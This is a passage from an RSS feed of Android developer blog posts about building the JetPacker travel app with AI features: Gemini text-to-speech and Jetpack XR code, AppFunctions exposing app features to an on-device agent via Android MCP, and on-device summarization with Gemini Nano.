<pre><div>val ttsModel = Firebase.ai(backend = GenerativeBackend.googleAI())</div><code><div>    .generativeModel(</div><div>        modelName = "gemini-2.5-flash-tts",</div><div>        generationConfig = generationConfig {</div><div>            // Instruct the model to return Audio</div><div>            responseModalities = listOf(ResponseModality.AUDIO)</div><div>        }</div><div>    )</div><div></div><div>val response = ttsModel.generateContent("Say in a neutral but positive voice:\n$prompt")</div><div></div><div>// Extract the raw audio bytes from the response</div><div>val audioBytes = response.candidates.firstOrNull()?.content?.parts</div><div>    ?.filterIsInstance&lt;InlineDataPart&gt;()</div><div>    ?.firstOrNull { it.mimeType.contains("audio") }?.inlineData</div></code></pre>

<h3>4. Bringing it to Life in 3D with Jetpack XR</h3>
<p>The final piece of the puzzle is rendering this data in the user's field of view. The Jetpack XR SDK makes it intuitive to transition from  a 2D Android UI to spatial computing.</p>

<p>We used Jetpack Compose for XR to build spatial components. To represent points of interest along the tour, we built a Composable called InfoSphere, which contains a GltfModel of a 3D orb that floats in space and can be interacted with to reveal information.</p>

<p>Using Jetpack XR SDK, we can place 3D models alongside the Compose UI using <a href="https://developer.android.com/reference/kotlin/androidx/xr/compose/subspace/SpatialBox.composable">SpatialBox</a> and <a href="https://developer.android.com/reference/kotlin/androidx/xr/compose/subspace/SceneCoreEntity.composable">SceneCoreEntity</a>. We also used <a href="https://developer.android.com/reference/androidx/xr/scenecore/InteractableComponent">InteractableComponent</a> to respond to user taps.</p>
<pre><div>@Composable</div><code><div>fun InfoSphere(</div><div>    content: InfoBubbleContent,</div><div>    session: Session,</div><div>    sphereModel: GltfModel,</div><div>    isSelected: Boolean,</div><div>    onClick: () -&gt; Unit</div><div>) {</div><div>    // SpatialBox lets us arrange 3D components and SpatialPanels together</div><div>    SpatialBox(</div><div>        SubspaceModifier</div><div>            .offset(x = 2.dp, y = 1.dp, z = (-3).dp) // Positioned in 3D space</div><div>    ) {</div><div>        // Smoothly animate the visibility of our 2D Compose UI Panel</div><div>        AnimatedSpatialVisibility(visible = isSelected) {</div><div>            SpatialPanel {</div><div>                InfoBubble(content) // Regular 2D Compose UI</div><div>            }</div><div>        }</div><div>        // Render our interactive 3D sphere</div><div>        SceneCoreEntity(</div><div>            factory = {</div><div>                GltfModelEntity.create(session, sphereModel).also { entity -&gt;</div><div>                    // Make the 3D model respond to user taps</div><div>                    entity.addComponent(InteractableComponent.create(session) { inputEvent -&gt;</div><div>                        if (inputEvent.action == InputEvent.Action.UP) {</div><div>                            onClick()</div><div>                        }</div><div>                    })</div><div>                }</div><div>            }</div><div>        )</div><div>    }</div><div>}</div></code></pre>

<p>By combining <a href="https://developer.android.com/reference/kotlin/androidx/xr/compose/subspace/animation/AnimatedSpatialVisibility.composable">AnimatedSpatialVisibility</a> for traditional Compose UI surfaces with SceneCoreEntity 3D elements, we're able to seamlessly blend data into the physical world.</p>

<h3>Explore what’s possible with Android XR today</h3>
<p>Building the XR Geospatial Tour app showed us that the barrier to entry for world-scale spatial experiences is lower than ever for Android developers. With the Geospatial API now available in preview on Android XR, your apps can seamlessly understand the physical world around them. By combining <a href="https://developer.android.com/develop/xr/jetpack-xr-sdk/ui-compose">Compose for XR</a>’s APIs with the high-precision location data of VPS and the generative capabilities of Gemini, we can create experiences that understand both where the user is and what they are looking at.</p>

<p>To help you get hands-on with Android XR, we are thrilled to open applications for the <a href="https://developer.android.com/develop/xr/catalyst">Android XR Developer Catalyst Program</a>, which includes XREAL Project Aura. Starting today, you can apply to get access to an XREAL Project Aura devkit or our display glasses devkit over the coming months! </p>

<footer>
  <p>*Disclaimer: Available on select devices. Internet connection required. Works on compatible apps and surfaces. Results may vary.</p>
  <p><br></p>
</footer></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Build intelligent Android apps: Integrate into Android's intelligence system using AppFunctions]]></title>
<description><![CDATA[Posted by Ben Weiss, Senior Developer Relations Engineer, Android Developer RelationsWelcome back to the blog post series "Build intelligent Android apps" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our previous post, we explored...]]></description>
<link>https://tsecurity.de/de/3693499/android-tipps/build-intelligent-android-apps-integrate-into-androids-intelligence-system-using-appfunctions/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693499/android-tipps/build-intelligent-android-apps-integrate-into-androids-intelligence-system-using-appfunctions/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:27 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi961epgT3N_Za_k2-pCJ30tegn7DM-Umh1LWh7Q4NxhryR5H57JB00zKQcek56ccAvEM95i6wyXWWCZZ7486_Gq1ewxPHtsMY13UVsVTmndAvkOJtHPjUXuZ3XW_yBEFtlOr2ocBFIKr0PCRZhIRs67h6bX6zDKihwcxQs8bGbYTqIp5azuBKcX4PNMMY/s2469/AFD%20-%20%5BABL_104%5D%20JetPacker%20AppFunctions_Meta.png"><p></p><p><i>Posted by Ben Weiss, Senior Developer Relations Engineer, Android Developer Relations</i></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi92OFxAOxVMpResmBcBoUfxzgcMmVOMn3mXQabB9O-xkC7pjYxrvXS7YLTEWLIBstwuDLc0ePCC-Tf7AKq62mgAXjSYg9-VUIjKvokK6BhGHqPDSXCTQowbpj40plsP3V3Ju3ck4gzNdJmGQ6C1-twuob2UnPu7oY9B_oSwnYSkaif7lSEMwFnStzWknM/s8583/AFD%20-%20%5BABL_104%5D%20JetPacker%20AppFunctions_Blog.png"><img border="0" data-original-height="2601" data-original-width="8583" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi92OFxAOxVMpResmBcBoUfxzgcMmVOMn3mXQabB9O-xkC7pjYxrvXS7YLTEWLIBstwuDLc0ePCC-Tf7AKq62mgAXjSYg9-VUIjKvokK6BhGHqPDSXCTQowbpj40plsP3V3Ju3ck4gzNdJmGQ6C1-twuob2UnPu7oY9B_oSwnYSkaif7lSEMwFnStzWknM/s1600/AFD%20-%20%5BABL_104%5D%20JetPacker%20AppFunctions_Blog.png"></a></div><br><p><br></p><p>Welcome back to the blog post series "<a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html" target="_blank">Build intelligent Android apps</a>" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our <a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-cloud-hybrid-inference.html">previous post</a>, we explored how to leverage Firebase AI Logic to build cloud-hosted and hybrid AI features.</p>Traditional mobile UIs excel at focused, hands-on tasks, and the Android intelligence system is introducing complementary features to make complex, multi-step actions even easier. By supplementing traditional user interfaces, AppFunctions provide a powerful new entry point: A privileged agent on the device can access app features in the background. This can be particularly helpful when users are driving, walking or otherwise multitasking. 

<p>In this article, we'll show you how we designed and integrated these capabilities into our travel planning app, <a href="https://github.com/android/ai-samples/tree/main/jetpacker">JetPacker</a>, using Android AppFunctions. We'll explore the rationale behind our feature choices, discuss the specialized tooling we used to accelerate development, and dive into the code that makes it all work.</p>

<h2>Designing AI-ready features: making choices that matter for your users</h2>

<p>To select which features to provide to the intelligence system, we looked for tasks where a voice or text command is objectively faster than tapping through screens. In this side-by-side screen recording you can see this contrast perfectly: on the left, a user tapping through multiple screens to log an expense; on the right, the same task completed instantly in the background via a privileged agent.</p>

<div class="vertical-video-grid">
  <div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIr2ssY2GiOlBmFzcP-91j91VjH9QX_sOP8FcmtirYPyXZmYRzNJmfqI_GT6aXYXye8-ntylv-gTNu1Qlnbx5gHiFn9naHqt7tJOQBA3HpQ5uz8XRdavXh7b3IP3FzJb4SsbC4mClGLUHupDwIeE9Du3PNRQr0SGs2lgHZTdHXnv8TagNBRtoJsbpeE6c/s960/Comp%201.gif"><img border="0" data-original-height="540" data-original-width="960" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIr2ssY2GiOlBmFzcP-91j91VjH9QX_sOP8FcmtirYPyXZmYRzNJmfqI_GT6aXYXye8-ntylv-gTNu1Qlnbx5gHiFn9naHqt7tJOQBA3HpQ5uz8XRdavXh7b3IP3FzJb4SsbC4mClGLUHupDwIeE9Du3PNRQr0SGs2lgHZTdHXnv8TagNBRtoJsbpeE6c/s1600/Comp%201.gif"></a></div><br><div class="vertical-video-wrapper"><br></div>

<p>Our first choice was expense tracking. Logging a coffee expense during a trip usually takes quite a few taps—unlocking the phone, opening the app, finding the active trip, navigating to the expenses tab, tapping the add button, taking a picture of the receipt, and checking the result. By providing the <code>addExpense</code> and <code>getExpenses</code> features as AppFunctions, the system agent handles the heavy lifting. When the user says, "Add a five-dollar coffee expense to my Paris trip," the agent automatically searches for the correct trip ID in the background and inserts the expense, skipping the manual UI flow entirely.</p>

<p>We also prioritized itinerary management. Finding what activity is next on a busy trip itinerary usually requires scrolling through a dense timeline view. By providing <code>getItinerary</code> and <code>addItineraryEvent</code> to the system, the user can simply ask, "What am I doing next in Paris?" and get an immediate answer.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRduisOXPFs0o2m-JwtESU1fUEanqH-A0eGt58MUuXs-vgN1af77M-j3ETdegzulBq-3TClrDvhO2K_8q4ep8xAlnW1y5T09ZxxHyZmTRtftA9DOmIk7ykfM_JihQ2c2fcUbEA-jCO1sgW2JnxN9qtB8IS58lbQoaIk4cPJPuPQavZNUoW2rNKo9r8g9M/s960/Comp%202.gif"><img border="0" data-original-height="540" data-original-width="960" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRduisOXPFs0o2m-JwtESU1fUEanqH-A0eGt58MUuXs-vgN1af77M-j3ETdegzulBq-3TClrDvhO2K_8q4ep8xAlnW1y5T09ZxxHyZmTRtftA9DOmIk7ykfM_JihQ2c2fcUbEA-jCO1sgW2JnxN9qtB8IS58lbQoaIk4cPJPuPQavZNUoW2rNKo9r8g9M/s1600/Comp%202.gif"></a></div><br><p><br></p>
  

<p>Finally, we focused on hands-free note capturing. Typing out reminders or notes while walking down a busy street is difficult and unsafe. Exposing a voice note capability allows the user to say, "The flight was amazing, I saw a beautiful sunset and managed to sleep well," and the privileged agent automatically transcribes and saves it directly into the travel database <span face="Roboto, sans-serif"> using the </span><span>addVoiceNote</span><span face="Roboto, sans-serif"> AppFunction.</span></p>

<h2>Android MCP powered by AppFunctions</h2>This entire experience is built on Android MCP. Under this design, the app acts as a local MCP server. Rather than remote APIs, you provide your app features directly to the on-device intelligence system.<br><br><a href="https://d.android.com/ai/appfunctions">Android AppFunctions</a> is the API that brings this concept to life. It reads annotated Kotlin functions and compiles them into type-safe, sandboxed tool definitions that the privileged agent can discover and invoke locally on the device.<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjypEvh8lAK1myAWpnG4A0TtdIaTxP69t7g9croAJSUZ2Od6AEkhwMusN3CvdGohdvYzoh1UaCxCHb22oJzCD_4B2K8vfQzcyAIaTl8lk3TCR9T0SoMHjjaDk4GMxxPazeCfT0aF7rifm7-LAvcMhyphenhyphenryDJpOPYon7jiISKB2sMLzAwHDuKFxIv16sDXjrM/s2500/Android%20MCP%20diagram.png"><img border="0" data-original-height="1406" data-original-width="2500" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjypEvh8lAK1myAWpnG4A0TtdIaTxP69t7g9croAJSUZ2Od6AEkhwMusN3CvdGohdvYzoh1UaCxCHb22oJzCD_4B2K8vfQzcyAIaTl8lk3TCR9T0SoMHjjaDk4GMxxPazeCfT0aF7rifm7-LAvcMhyphenhyphenryDJpOPYon7jiISKB2sMLzAwHDuKFxIv16sDXjrM/s1600/Android%20MCP%20diagram.png"></a></div><br><p><br></p>

<p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><i><div><i>Diagram highlighting our apps, the android platform, and system agents coordinate AppFunctions.</i></div></i><p>Under the Android MCP model, your app acts as a local MCP server that exposes structured tools, while the Android platform serves as the central tool registry. On the MCP client side, agent apps are registered with the intelligence system after being granted system-privileged permissions to access the registry.</p>

<p>When a user interacts with a registered agent, its LLM determines if the request can be handled by an AppFunction, queries the platform's metadata, and executes the appropriate registered functions in the background. This local MCP client-server design gives you full control: you choose exactly which features are accessible to the agent, keeping the rest of your app's data private.</p>

<h2>How we accelerated development with Android skills</h2>

To streamline the integration process, we leveraged the <a href="https://github.com/android/skills/tree/main/device-ai/appfunctions">AppFunctions development skill</a>. The AppFunctions development skill is a complete development companion. It guided us through the entire lifecycle: mapping Kotlin data classes to serialize parameters, generating the necessary <code>Service</code> entry points, refining our <code>KDoc</code> documentation to ensure the LLM understands parameter boundaries, and setting up automated testing using ADB.

<h2>Providing app features to the intelligence system</h2>

<p>Enough with the theory, let's dive into the implementation.</p>

<h4>Configuration and dependency setup</h4>

<p>We begin by adding the AppFunctions dependencies. One for the API and one for the Kotlin Symbol Processing compiler.</p>

<pre><code>implementation("androidx.appfunctions:appfunctions:1.0.0-alpha10")
ksp("androidx.appfunctions:appfunctions-compiler:1.0.0-alpha10")</code></pre>

<h4>Modeling custom data types</h4>

<p>Any custom object exchanged with the agent must be annotated with <code>@AppFunctionSerializable</code>. In our <a href="https://github.com/android/ai-samples/tree/main/jetpacker/android/feature/appfunctions/src/main/java/com/example/jetpacker/feature/appfunctions/TripSerializable.kt">TripSerializable.kt</a> file, we define our trip data model:</p>

<pre><code>@AppFunctionSerializable(isDescribedByKDoc = true)
data class TripSerializable(
    /** The trip's unique identifier. */
    val id: String,
    /** The trip's title. */
    val title: String,
    /** The trip's destination location. */
    val location: String,
    /** The trip's start date in milliseconds. */
    val startDate: Long,
    /** The trip's end date in milliseconds. */
    val endDate: Long,
    /** A list of participants. */
    val participants: List&lt;String&gt;,
)</code></pre>

<h4>Providing features using the @AppFunction annotation</h4>

<p>Next, the skill wrote the Kotlin functions that perform the database queries and annotate them with <code>@AppFunction</code>. We can view this in searchTrip:</p>

<pre><code>/**
 * Looks for trips based on optional filters like id, title (name), location, and dates.
 *
 * @param id The unique identifier of the trip.
 * @param title The title or name of the trip.
 * @param location The destination location.
 * @param startDate The minimum start date in milliseconds.
 * @param endDate The maximum end date in milliseconds.
 * @return A list of trips matching the filters.
 */
@AppFunction(isDescribedByKDoc = true)
suspend fun searchTrip(
    id: String? = null,
    title: String? = null,
    location: String? = null,
    startDate: Long? = null,
    endDate: Long? = null
): List&lt;TripSerializable&gt; {
    return withContext(Dispatchers.IO) {
    // implementation
}</code></pre>

<p>Since AppFunctions run on the UI thread by default, we use <code>withContext(Dispatchers.IO)</code> to switch to a background dispatcher. Additionally, we refine our KDoc to use clear, imperative verbs and specify parameter constraints. This documentation compiles directly into the tool's schema, which the privileged agent uses to resolve parameters and handle runtime errors.</p>

<h4>The service entry point and Hilt integration</h4>

<p>To register these features with the intelligence system, we create an abstract base class that extends <code>AppFunctionService</code>. We annotate it with <code>@AppFunctionServiceEntryPoint</code>:</p>

<pre><code>@RequiresApi(36)
@AndroidEntryPoint
@AppFunctionServiceEntryPoint(
    serviceName = "JetPackerAppFunctionService",
    appFunctionXmlFileName = "jetpacker_app_function_service"
)
abstract class BaseJetPackerAppFunctionService : AppFunctionService() {
    @Inject internal lateinit var tripDao: TripDao
    // DAOs and database references are injected here...
}</code></pre>

<p>During compilation, KSP generates the final concrete service subclass, <code>JetPackerAppFunctionService</code>, as declared with the <code>serviceName</code> parameter. We also register <code>app_metadata.xml</code> in the app's manifest. This file provides global operational rules for JetPacker's declared AppFunctions.</p>

<h2>Testing and verifying your AppFunctions</h2>

<p>Once implemented, you should verify that your AppFunctions are registered and working correctly.</p>

<p>Running devices or emulators with Android 17 or newer, you can use ADB commands from your terminal to list and invoke your functions. Running <code>adb shell cmd app_function list-app-functions</code> displays all registered functions for your package. You can then execute a specific function and test its database integration by running <code>adb shell cmd app_function execute-app-function</code> while passing a raw JSON parameters string.</p>

<p>Instead of these ADB commands, you can also use the <a href="https://github.com/android/appfunctions">AppFunctions Testing Agent</a> to inspect your configuration, list and execute AppFunctions, and even see how your AppFunctions behave in a real conversational flow.</p>

<h2>Wrapping it up</h2>

<p>When thinking about app features that can be contributed to the intelligence system using AppFunctions requires a slight shift in how we think about code and documentation. AppFunctions enable you to use this new interaction model for apps, which allows using an agent to access app features..</p>

<p>First, the <a href="https://github.com/android/skills/tree/main/device-ai/appfunctions">AppFunctions development skill</a> is an essential lifecycle tool, helping you discover features, implement and refine AppFunctions for your apps. Second, KDoc comments are a compiled API asset; clear parameter descriptions directly impact the execution accuracy of the system agent. Finally, Android MCP provides local-first execution allowing apps to safely collaborate with AI agents.</p>

<p>Contributing app features through AppFunctions makes your application ready for the intelligence system. Let us know how you are adapting your apps for the agentic era!</p>

<h2>Learn more</h2>

<p>Check out the other parts of this blog post series:<br><b><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html">Part 1:</a></b> Introduction of the app and a high-level overview.<br><a href="http://android-developers.googleblog.com/2026/07/android-on-device-inference.html"><b>Part 2:</b></a> On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.<br><b><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-cloud-hybrid-inference.html">Part 3:</a></b> Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.<br><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-appfunctions.html"><b>Part 4 (this post!):</b></a> System integration. Integrating with the Android intelligence system using AppFunctions. <br>Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.</p>

<p>Interested in more on Android Development? Follow Android Developers on <a href="https://www.youtube.com/@AndroidDevelopers">YouTube</a> or <a href="https://www.linkedin.com/showcase/androiddev/">LinkedIn</a>!</p>

<p>
  All code snippets in this blog post follow the following copyright notice:
</p>
<pre><code>Copyright 2026 Google LLC.
SPDX-License-Identifier: Apache-2.0</code></pre></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Build intelligent Android apps: On-device inference]]></title>
<description><![CDATA[Posted by Caren Chang, Developer Relations Engineer, Android Developer RelationsWelcome back to the blog post series "Build intelligent Android apps" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our previous post we introduced Jet...]]></description>
<link>https://tsecurity.de/de/3693497/android-tipps/build-intelligent-android-apps-on-device-inference/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693497/android-tipps/build-intelligent-android-apps-on-device-inference/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:25 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhd7g4aJ0ZhzVcuPr3SzBJIVQ_MZT3hIXb1Ff8SVjjrvRjYzZwhgoE7IbHryS6Ds7u7if1_tmVmMdkFNAtPADXoeuRQ_64Pxfnp3oq2aHR8hbS3fDExGxE0nSiOvXPw7SonhNdjFNI2eDJfasEEMs0xjh2gZlyPq6ToimvFlaMv2-nVDz_XLnSXK1iCn4U/s2469/0625%20Building%20JetPacker%20with%20Intelligent%20On-Device%20features_Meta%20v02.png"><div><i>Posted by Caren Chang, Developer Relations Engineer, Android Developer Relations</i></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIU-6haqWEXnugbhG5is8t1TU0tN3EkfSc7GwvHMRsMSU14k-P7q4il_nJlGk-qNP_PG3aKs1LDWNgWKqhFsG6Q16v2zeoHMvqY_PesC5ddxHRjTGgtiQ33uvOrUIPkSdUgFfBIYSkqBhcuZJTY8jbW0mOjKs8XF8DLxfyD7CjJ1Sd4FM7AUrufTnSEVw/s8582/0625%20Building%20JetPacker%20with%20Intelligent%20On-Device%20features_Blog%20v02.png"><img border="0" data-original-height="2601" data-original-width="8582" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIU-6haqWEXnugbhG5is8t1TU0tN3EkfSc7GwvHMRsMSU14k-P7q4il_nJlGk-qNP_PG3aKs1LDWNgWKqhFsG6Q16v2zeoHMvqY_PesC5ddxHRjTGgtiQ33uvOrUIPkSdUgFfBIYSkqBhcuZJTY8jbW0mOjKs8XF8DLxfyD7CjJ1Sd4FM7AUrufTnSEVw/s1600/0625%20Building%20JetPacker%20with%20Intelligent%20On-Device%20features_Blog%20v02.png"></a></div><br><i><br></i><div><i><br></i><p>Welcome back to the blog post series "<a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html" target="_blank">Build intelligent Android apps</a>" where we take a basic Android app and transform it into a <b>personalized, intelligent, </b>and <b>agentic </b>experience. In our <a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html" target="_blank">previous post we introduced Jetpacker</a>, the demo app we'll use throughout this series.</p>

<p>In this blog post, we will share how you can use Gemini Nano through <a href="https://developers.google.com/ml-kit/genai/prompt/android">ML Kit’s Prompt API</a> to build intelligent on-device features.</p>
<div>
  
  
</div>

<p>Building intelligent on-device features refers to the ability to process prompts and data directly on a device without sending data to a server. This offers a few advantages:</p>
<ul>
  <li>User data can be processed <b>locally</b> on the device, preserving user privacy</li>
  <li>Functionality of the model is <b>reliable</b> even with spotty or no internet connection</li>
  <li>No additional cloud inference <b>cost</b>, since everything runs on the user’s hardware</li>
</ul>

<p>With the benefits of on-device in mind, we identified three features to add in Jetpacker that can improve the user experience: summarizing trip itineraries, managing expenses, and capturing voice notes.</p>

<h2><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3FDrGSpGJqSapXXQ7052s1NR8rzvmmW-xbyOaAcg8bdTA6ZH7p6ZWE664FjlaoDLfREd-RlQil7gV-VjnCoq76o06haLoSxBzlIDAvM-dKvm_TCgPvqHU3ZlzBTXZ9XtAyMk26QWB8PvU5aUmzO0RBuMxqxJdC1wk7xl_1PXd1KHvuMCeHeAP9zhgSjg/s1848/Screenshot%202026-07-02%20at%2012.57.08%E2%80%AFPM.png"><img border="0" data-original-height="1256" data-original-width="1848" height="434" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3FDrGSpGJqSapXXQ7052s1NR8rzvmmW-xbyOaAcg8bdTA6ZH7p6ZWE664FjlaoDLfREd-RlQil7gV-VjnCoq76o06haLoSxBzlIDAvM-dKvm_TCgPvqHU3ZlzBTXZ9XtAyMk26QWB8PvU5aUmzO0RBuMxqxJdC1wk7xl_1PXd1KHvuMCeHeAP9zhgSjg/w640-h434/Screenshot%202026-07-02%20at%2012.57.08%E2%80%AFPM.png" width="640"></a></div><div><span><span><i>On-device features in Jetpacker: Summarizing trip itineraries, managing expenses, and voice notes</i></span></span></div><div class="separator"><br></div>High quality tailored summarization of short texts</h2>

<p>The itinerary screen gives users a quick overview of all activities for a given trip. Since this screen contains a lot of information, it can quickly become overwhelming. To help users prepare without feeling overwhelmed, we can add a ‘<b>Get ready for your trip</b>’ section at the top.</p>
<p><em></em></p>
<div class="separator"><em><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtWrJplvxl7ymB4kMN_Tg4tYYkL7G1Ory0hSptzqsbw_xCu4I9l_4SQPQ9CUXs_Jc7qtT1KcpltBds0aYgIvXiK_-qp6fnoX3QmYnGyqGgr2d5f2uzQkyMK-_Iebwp9Ap0aJA4c8Pz4Zy01O5AM6kk_qZ4Blx_bY-_2xIxSA8DMva2LWBbCN_Hb_c37KE/s2499/Screenshot_20260702_111934.png"><img border="0" data-original-height="2499" data-original-width="1183" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtWrJplvxl7ymB4kMN_Tg4tYYkL7G1Ory0hSptzqsbw_xCu4I9l_4SQPQ9CUXs_Jc7qtT1KcpltBds0aYgIvXiK_-qp6fnoX3QmYnGyqGgr2d5f2uzQkyMK-_Iebwp9Ap0aJA4c8Pz4Zy01O5AM6kk_qZ4Blx_bY-_2xIxSA8DMva2LWBbCN_Hb_c37KE/w189-h400/Screenshot_20260702_111934.png" width="189"></a></em></div>
<div><span><span><i>The romantic Paris trip is summarized as a classic Parisian adventure blending art, sights, and delicious food. A tip and some useful phrases are also added.</i></span></span></div>
<p></p>

<p>By inputting a trip itinerary and asking an LLM to summarize it, we can generate a quick summary of the trip along with packing tips and useful local phrases. This is a great use case for an on-device model for several reasons:</p>
<ul>
  <li><b>Performance and quality</b>: Both the input and output text are relatively short. With that, we can expect the performance and quality of an on-device solution to be on par with more powerful cloud models.</li>
  <li><b>Scalability</b>: Shifting inference on-device allows us to scale this feature from a few users to millions without worrying about managing increasing cloud inference costs.</li>
  <li><b>Low latency and reliability</b>: On-device inference guarantees low latency, providing a reliable experience even when users are offline.</li>
</ul>

<p>To build with on-device, we use <b>Gemini Nano</b>, Google’s most efficient model optimized for mobile devices. Gemini Nano was first introduced a few years ago, and is now running on over 140 million devices. The latest version of the model, <a href="https://android-developers.googleblog.com/2026/04/AI-Core-Developer-Preview.html">Gemini Nano 4, is built on the architecture foundation of the recently released Gemma 4 model</a>, and is further optimized for maximum battery and performance efficiency.</p>

<p>Using ML Kit’s <b>Prompt API</b>, we can take advantage of Gemini Nano 4’s new model capabilities to prototype our on-device features. We’ll create a prompt that includes the itinerary of a trip and ask the model to generate a summary along with any preparation tips.</p>

<pre><code>// implementation("com.google.mlkit:genai-prompt:1.0.0-beta3") 

// Define the configuration for Gemini Nano 4 E2B preview model
val previewFastConfig = generationConfig {
    modelConfig = modelConfig {
        releaseStage = ModelReleaseStage.PREVIEW
        preference = ModelPreference.FAST
    }
}

val geminiNano2BPreviewModel = Generation.getClient(previewFastConfig)

val tripItinerary = ...

val getReadyForYourTripSummary = geminiNano2BPreviewModel
 .generateContent("Given this trip itinerary: $tripItinerary, 
     generate the following: overall vibe, tips on how to prepare for this
     trip, and common short phrases to learn for the trip.")</code></pre>

<p>Finding the optimal prompt usually requires some iteration, and the AICore app is perfect for this step in the process. After opting into the <a href="https://developers.google.com/ml-kit/genai/aicore-dev-preview">developer preview option for AICore</a>, we can download preview models such as Gemini Nano 4 to test prompts and see the model’s expected outputs. With a few iterations on the prompt, we were able to improve the speed of the response from 13 seconds to under 2 seconds! Check out the final code implementation and prompt <a href="https://github.com/android/ai-samples/blob/40b999ef0e85693eac4de06e58335f0f5f125fa6/jetpacker/android/feature/trip/itinerary/enrichment/src/main/kotlin/com/example/jetpacker/feature/itinerary_enrichment/TripSummaryAndTipsProviderImpl.kt#L100" target="_blank">here</a>.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaY2Q7rzlrAj2i410lc3qqtKwI3m6ufAi27R5S94LVFJKEJPnxmvShIcAWdD_Cx9lhTz9tmKW_DVcmNg0rZFBKpqYj0M9niFJwa-AurlyV2SHuErI7Z9H59Q9S936I4ErUQ_NFRNSJpUBXwDVmw6vKNVpIkBrYPJNUpCIyNXl5Z17x7jEl5Kn9BGgFuLg/s553/Screen%20Recording%202026-07-02%20at%2012.28.51%E2%80%AFPM.gif"><img border="0" data-original-height="553" data-original-width="496" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaY2Q7rzlrAj2i410lc3qqtKwI3m6ufAi27R5S94LVFJKEJPnxmvShIcAWdD_Cx9lhTz9tmKW_DVcmNg0rZFBKpqYj0M9niFJwa-AurlyV2SHuErI7Z9H59Q9S936I4ErUQ_NFRNSJpUBXwDVmw6vKNVpIkBrYPJNUpCIyNXl5Z17x7jEl5Kn9BGgFuLg/w359-h400/Screen%20Recording%202026-07-02%20at%2012.28.51%E2%80%AFPM.gif" width="359"></a></div>

<div><span><span><i>The first iteration of our prompt generated way too many tokens, and optimizing it helped keep responses quick and to the point.</i></span></span></div>

<h2>Local processing for sensitive user input</h2>

<p>Next, to help users enjoy their trip even more, we’ll build a simple expense manager that takes the manual work out of sorting through receipts and calculating budgets.</p>
<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsHCjYJhDefKk1_FHnyB8mXO6XGrVWPrWkkxUikHNrWly2YqLjD8GyN-qGXOBlZCJPug-VbVgBr8awg8I-TEl6d9udKhq_zKem9Xcdb7FzFlA4B77Iko2Rbf8R0XIPB30owcMoh-7KJ1paQnzDrNHSdvwYotNxt166QqJdNAf1d8wEwIFkL9qIEYUKmoQ/s1282/7.13_BlogGif_Transparent.gif"><img border="0" data-original-height="1282" data-original-width="613" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsHCjYJhDefKk1_FHnyB8mXO6XGrVWPrWkkxUikHNrWly2YqLjD8GyN-qGXOBlZCJPug-VbVgBr8awg8I-TEl6d9udKhq_zKem9Xcdb7FzFlA4B77Iko2Rbf8R0XIPB30owcMoh-7KJ1paQnzDrNHSdvwYotNxt166QqJdNAf1d8wEwIFkL9qIEYUKmoQ/w191-h400/7.13_BlogGif_Transparent.gif" width="191"></a></div>
<br>
  
<div><span><span><i>Taking a photo of a restaurant bill, data is parsed and shown in the expense overview screen of the app.</i></span></span></div>

<p>Since receipts might contain sensitive information like credit card number and addresses, this is another great use case for an on-device solution. With on-device, users can be confident that private information will be processed locally on the device without any of their data being sent to the cloud.</p>

<p>In addition, Gemini Nano 4 has improved model capabilities for multimodality, especially for image understanding tasks like OCR and visual data extraction, making it a great solution for tasks like extracting information from receipts.</p>

